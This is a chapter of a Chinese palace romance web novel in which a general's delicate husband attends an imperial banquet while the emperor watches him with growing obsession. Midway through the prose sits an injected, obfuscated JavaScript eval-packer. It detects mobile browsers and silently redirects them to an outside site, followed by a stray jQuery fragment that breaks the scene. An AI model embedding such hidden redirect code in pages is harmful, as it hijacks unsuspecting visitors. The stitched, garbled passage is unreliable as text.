时间过得很快,转眼,又到入冬的时节。
这一年时微被庾祁之养得很好,原本单薄的身形也多了点软肉,抱在手里软乎乎的。
萧景昭也没再来打扰,时微逐渐忘记了这个人,直到陛下纳妃,宫中设宴,他与庾祁之一同前往时,才模模糊糊想起一点那人的影子。
临行前,时微穿着一身挑花织银锦袍,纤纤玉手去给庾祁之理他蟒袍上的玉带,神色迟疑。
“一定要去吗……”时微对萧景昭的印象不剩多少,却还记得那人盯着自己看时轻亵的视线。
他垂着眼睫,脸颊鼓起来一点,有些不太乐意。
庾祁之顿时心软,捏了捏他的面颊,说:“不想去就不去吧。我帮你告病?”
时微认真考虑了一番,半晌摇摇头。
“……算了。”
这些时日,他也捋清了一些京中形势。至少目前而言,陛下应当是忌惮将军府的,时微不想给庾祁之添麻烦。
他实在乖巧懂事。庾祁之眼神软了些,低头在时微额上亲了一下,说道,“娘子在内眷席,见不到他。安心。”
时微握紧了他的手,惶惶应了。
他总觉得心脏跳得厉害,莫名有种不妙的预感,实在不是很能放心。
直到庾祁之牵着他的手上了马车,时微还是觉得心跳不能平息。他忍不住窝进庾祁之怀里,抬头在丈夫唇边轻舔了下,换来丈夫深深的一吻。
时微被亲得脸红眼软,总算从夫君那得到些安全感,便软软坐在庾祁之怀里玩他的手指。
男人的手指骨节宽大,因着是常上战场的手,掌心粗糙布满茧子。庾祁之在床上就是用这样一双手把他玩得溃不成军,连连求饶,但时微还是很喜欢夫君的手。
毕竟这么大一双手呢,轻而易举就能把他的手包在掌心,时微很喜欢它带来的安全感。
庾祁之怀里搂着娇娇的小妻子,调笑道,“怎么愈发粘人了?”
时微往他怀里钻了钻,“喜,喜欢夫君。”
庾祁之一顿。
先前说两句就要脸红的妻子,如今已能将这种话随口说出了。
庾祁之心里甜滋滋一片,忍不住在时微颊边又亲了一口,道:“我也喜欢娘子。”
他只觉得自己是世界上最幸福的人了。
二人一路腻歪到了宫中,庾祁之先行下了马车,随即伸出手去。
来迎接他们的宫人眼观鼻鼻观心站在一旁,心中却难免有些好奇。
传闻庾小将军对他这位夫人珍而重之,如珠似宝地养在掌心。京中无数权贵都给这位庾夫人递了帖子邀他赴宴,全被庾祁之以夫人体弱为由推了,因此至今无人得知庾将军的这位男妻,究竟是何种容貌。
他们屏住呼吸偷偷抬着眼看,只见那车帘之中伸出一只骨肉匀亭的手,肤白若雪,浅淡的蓝紫脉络被隐在皮肉下方,腕骨处微微凸起,是很美的一只手。
莫名的,宫人们的呼吸有些急促。
能有这样一双手,正主想也会是个美人。
庾祁之将那只手稳稳接住,随即车帘被一人撩开,貌若冠玉的小夫人挑着车帘出来了。
他今日难得盛装打扮,穿了一身湘妃色的织锦袍,满身绣着银线的花鸟,腰间束了金丝玉带,袖口绕了粉金云纹,一块质地温润的羊脂白玉配在腰间,活脱脱是个画里走出来的佳人。
因着是来参加宫宴,时微没像往常一样用玉簪簪发,而是换了一根镶了东珠的金簪,将他头发斜斜绕在颈侧,随着他低头动作,那遮在发丝之下的细白颈项便隐约露出来一点,勾着人伸手掌住,按在身下使他不得动弹。
很柔顺的长相,宫人们想,而且看上去确实不大康健。
时微这些日子,其实被庾祁之养得还算不错。只是他到底底子有亏,便是再精细地养着也能看出较之于人的三分不足。
时微攀着庾祁之的臂膀很小心地从马车上下来,还未站稳,便有个小黄门急急跑过来。
“夫,夫人。奴婢为您引路。”
小黄门年纪还小,平日也算个机灵的,只是这一下猛的被美色冲昏头脑,未曾多想便颠颠跑来想在美人面前留个印象。
时微一直被庾祁之养在院子里,从未出过门,因此很是怕生。
见小黄门朝他奔来,时微下意识握住一旁丈夫的手臂,漂亮的眼睛求助地看向丈夫。
他是个离了丈夫就很难自理的妻子。
庾祁之安抚地拍了拍他,冷厉的眼睛扫向来人,将小黄门盯得脊背发毛。
他瞬间反应过来自己做了什么蠢事,连忙跪下想要请罪,便听见面前的将军说:“我先陪着夫人进去,待分席时再由你带路。”
此话一出,旁边刚刚还面露讥嘲的宫人们一下僵住,小黄门面上露出欣喜的神色,忙磕了个头道,“谢将军,谢夫人!”
他殷勤的神色让一众人不由鄙夷,但心中也生出点懊悔来。
若是自己方才也像这小黄门一样豁得出去,陪伴这位夫人的的差事是不是就能……
庾祁之没管他们如何想,搂着时微去席间了。
他只是觉着比之那些在宫中浸淫许久的家伙,眼前这个小黄门要稍稍好一些。
待到入席,庾祁之握了下时微的手,像是想给他鼓气,“安心吃饭,生冷辛辣的不要用,不要把自己吃撑,等我回来。”
时微低着头,抿唇一句句应了。
庾祁之看着他,始终不能放心。
他的妻子过于柔弱,随便来个什么人都能将他伤到。
他叹了口气,道,“还是应该让你告病的。”
…………
与庾祁之分开后,时微便由小黄门领着去了内眷的席位。
一路上,小黄门叽叽喳喳说个没完,时微安静地在一旁听,偶尔会很轻地回应一声。
小黄门姓路,他脸上挂着笑,让时微唤他小路子便行。
小路子一路将时微领到席间,他一出场,三三两两的视线便落到他的身上。时微坐在席中,有些难以忍受地捏紧衣裳。
“这位是庾夫人?”有些许议论的声音小声响起。
“看样子是了,啧啧,长得还真是……”
“怨不得庾将军把他含在嘴里都快化了,瞧这弱柳扶风的小模样,真是个风吹就要跑的人儿。”
“时尚书家里出了这么个妙人儿,竟也舍得藏着掖着那么多年。”
“我瞧着不只是藏着哩,听闻这庾夫人当时嫁给庾将军不是自愿的,你且听我细细道来……”
“原来如此……还有这等秘事……”
“唉,我瞧着庾夫人也算可怜,如今嫁给庾将军,也算是苦尽甘来。”
“……”
时微隐约听见几句与自己有关的议论,难免更加无措。
朝中官员的席位与内眷这边的席位隔得不算远,但也不近。时微忍不住透过帷帐去寻他夫君的影子,只是苦寻未果,他忍不住有些失落。
一旁却伸过来一只戴着碧玉镯子的手,将一个镶着金边的玉瓷莲碗放在他面前,“这是糖莲子,庾夫人若是感兴趣,不妨尝尝看。”
时微一惊,忙抬起眼去看给他递莲子的那人。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816840|171793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
却见那人穿着一身诰命礼服,头上戴着珠翠,看上去雍容华贵。
那人笑了一下,说:“或是你更希望我叫你时公子?”
小路子及时贴到庾祁之耳旁,提醒他道:“这位是鲁阳侯的夫人。”
时微没听说过,但他知道侯夫人身份都很高贵,连忙绞着手指道谢,“谢……谢谢夫人。”
他想要去看面前夫人的脸色,却不敢抬头,只得诺诺道:“叫,叫我庾夫人就好了……”
他与时家关系不深,时老尚书憎恶他,他也不敢挂着时家的名号。
殷夫人瞧着他惴惴神色,内心怜惜更甚。
她低低道,“莫怕,庾将军先前拜托了侯爷,嘱咐我在席间多多照看你一二。你不必对我如此害怕。”
时微惊讶抬头。
他这才知晓原来自己丈夫也是有朋友的。
因着庾祁之只要闲暇下来,便都在家陪伴他了,时微一直以为京中无人愿意与庾祁之交好,因此对夫君颇为怜惜,被庾祁之以此卖惨占了好多便宜。
他一时有些忿忿,脸都红了一些。
太坏了!夫君。
今晚他只会给夫君三个亲亲。
殷夫人虽是得了丈夫叮嘱,但她有个与时微年岁差不多的孩子。她那不成器的孩子整日像个小霸王一样游街遛鸟,鲁阳侯打他棍子都不知打断了几根,也没能将这纨绔扶上墙。
如今一看与自己儿子差不多年龄,甚至还要比儿子小上一些的时微,已经迫不得已成了别人的妻子,她便难免为他心软,发自内心地想照顾几分。
时微一向很听丈夫的话,如今听殷夫人说是夫君拜托的,他便也很快与殷夫人熟络起来。
当然,大部分时间还是殷夫人讲,他在一边默默地听。
直到前席忽的一阵喧闹,殿门外,一声尖细的长唱响起:
“皇上驾到——”
殷夫人收住了话语,席间众人三两起身行礼道:“参见陛下,陛下万岁万岁万万岁。”
“平身。”
帝王的声音在不远响起。
与他在将军府时戏弄自己时不同,此时的萧景昭嗓音沉稳,带着令人信服的威仪,时微在起身时悄悄看了一眼。
帝王的身形隔着帷幔看不清楚,但好像十分平静,一眼也没朝这里看过来,时微便松了口气。
看来皇帝已经将他忘了。
因着一块大石头落了地,开宴时,时微吃东西都更香了。
宫里的御厨手艺不必多说。虽然将军府的厨子也是一等一的好,但因着时微身体的原因,总是要往菜式里添几道药膳。一顿饭下来,时微饱是饱了,却总觉得舌尖有点发苦。
而今宫宴,时微看着桌上琳琅菜品,握着筷子吃得飞快。
他吃得香,旁边殷夫人偶尔会调笑着要他慢一些,时微便会脸红地放慢一点速度。
正席上首,皇帝坐在金漆龙椅上,听着丝竹靡靡,手里端着酒,眼神漫不经心地扫过内眷上埋头苦吃的少年。
恰巧看见殷夫人和他说了句什么,少年握着筷子的手略微紧了紧,连着耳根都红了。
殷夫人便捏着帕子笑了起来。
萧景昭握着酒樽的手收紧了些。
他眼神沉滞,在又一个官员来向他敬酒时,沉沉笑了一声,随即将杯中酒液一饮而尽。
这些月数,他忍着去找时微的冲动,煎熬辗转。此刻终于见到时微,他却这般轻松,像是完全将他抛在脑后。
萧景昭摩挲着空掉的酒盏,他看着一派天真高兴用膳的少年,目光逐渐暗沉。